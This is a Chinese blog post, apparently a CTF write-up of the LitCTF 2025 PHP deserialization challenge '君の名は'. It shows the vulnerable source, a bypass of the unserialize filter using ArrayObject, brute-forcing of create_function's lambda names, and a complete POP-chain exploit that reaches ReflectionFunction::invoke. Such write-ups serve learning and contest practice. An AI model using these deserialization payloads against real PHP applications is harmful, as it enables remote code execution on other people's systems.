对2025Litctf web题君の名は赛后深思
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}
class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}
class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;
public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}
$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}
主要利用点就在于create_function("",'dir(/readflag);');,这个会生成一个匿名函数,我们可以利用这个匿名函数
第一关是通过ArrayObject()这个类去绕过,这个考点ctfshow上有一个类似的,但是我忘了是哪道题了
<?php
class ctfshow{
public $ctfshow = 'whoami';
}
$b= new ctfshow();
$a= new ArrayObject($b);
echo serialize($a);
?>
参照以上exp可以实现绕过,在php低版本中,O或a的冒号后的数字前可以加一个+来进行绕过
比如:
O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}
改成:
O:+7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}
但是这道题php版本比较高
create_function()需要使用ReflectionFunction::invoke的方法来实现,这个感觉像调用无参的方法比如phpinfo(),具体没有深思。
我们来讲一下create_function这个函数,这个函数每次生成的函数名都是lambda_%0d,这里的%0d是一个数字,开始是1,每次执行一次就加一,可以用以下代码去验证
<?php
$func = create_function("","echo \"1+1\";");
var_dump($func); // 输出类似:string(8) "lambda_1"
$b="\00lambda_2";
$a = new ReflectionFunction($b);
$A = $a->invoke();
echo $A;
?>


用bp爆破,发现每500次一次循环,为什么很多人会认为是随机的,我想是因为bp默认是10个一起发的

所以bp测试的时候要设置Maximum concurrent requests为1,如上图
create_function可以参考文章:PHP代码审计之create_function()函数 - My_Dreams - 博客园
之后再讲ReflectionFunction这个函数,这个函数有一个invoke的方法,传入的参数列表,它接受可变数量的传递给函数的参数与call_user_func()非常相似
<?php
$a = new ReflectionFunction('phpinfo');
$A = $a->invoke();
echo $A;
?>
可以invoke方法调用无参的函数如phpinfo();

<?php
function Company($a,$b) {
echo $a,$b;
}
$a = new ReflectionFunction('Company');
$A = $a->invoke(2,3);
echo $A;
?>
也可以调用有参的函数

题目exp
<?php
class Taki
{
public $musubi;
public $magic;
}
class Mitsuha
{
public $memory;
public $thread;
}
class KatawareDoki
{
public $soul;
public $kuchikamizake;
public $name;
}
$a=new Taki();
$b=new Mitsuha();
$c=new KatawareDoki();
$d=new Taki();
$f=new Arrayobject($a);
$a->musubi=$b;
$b->memory=$c;
$c->kuchikamizake="ReflectionFunction";
$c->name="\00lambda_50";
$c->soul=$d;
$d->musubi='time';
$d->magic="invoke";
$payload=serialize($f);
$payload=str_replace("\00","%00",$payload);
echo $payload;
?>
本人第一次写博客,加上也是一个小白,欢迎各位大佬来指导

浙公网安备 33010602011771号